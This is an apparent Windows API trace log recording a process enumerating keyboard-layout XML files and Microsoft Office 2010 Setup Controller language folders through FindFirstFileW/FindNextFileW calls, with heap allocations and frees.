	[0091.012] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.012] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1
	[0091.012] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1
	[0091.013] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1
	[0091.013] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1
	[0091.013] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1
	[0091.013] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1
	[0091.013] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1
	[0091.014] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1
	[0091.014] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1
	[0091.014] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1
	[0091.014] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1
	[0091.015] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1
	[0091.015] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1
	[0091.015] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0
	[0091.015] FindClose (in: hFindFile=0x51d860 | out: hFindFile=0x51d860) returned 1
	[0091.016] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3ef82a8 | out: hHeap=0x4a0000) returned 1
	[0091.016] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1
	[0091.016] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1
	[0091.016] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3ef82a8
	[0091.890] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.890] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1
	[0091.890] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f5c2c8
	[0091.952] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d8a0
	[0091.953] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.953] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1
	[0091.953] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1
	[0091.954] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0091.954] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0091.954] FindClose (in: hFindFile=0x51d8a0 | out: hFindFile=0x51d8a0) returned 1
	[0091.955] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f5c2c8 | out: hHeap=0x4a0000) returned 1
	[0091.955] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1
	[0091.955] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f5c2c8
	[0091.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d8a0
	[0091.955] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.955] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1
	[0091.955] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0091.956] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0091.956] FindClose (in: hFindFile=0x51d8a0 | out: hFindFile=0x51d8a0) returned 1
	[0091.956] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f5c2c8 | out: hHeap=0x4a0000) returned 1
	[0091.956] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1
	[0091.956] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f5c2c8
	[0091.956] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d8a0
	[0091.956] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.956] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1
	[0091.956] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0091.957] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0091.957] FindClose (in: hFindFile=0x51d8a0 | out: hFindFile=0x51d8a0) returned 1
	[0091.957] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f5c2c8 | out: hHeap=0x4a0000) returned 1
	[0091.957] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1
	[0091.957] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f5c2c8
	[0091.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d8a0
	[0091.957] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.957] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1
	[0091.957] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0091.958] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0091.958] FindClose (in: hFindFile=0x51d8a0 | out: hFindFile=0x51d8a0) returned 1
	[0091.958] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f5c2c8 | out: hHeap=0x4a0000) returned 1
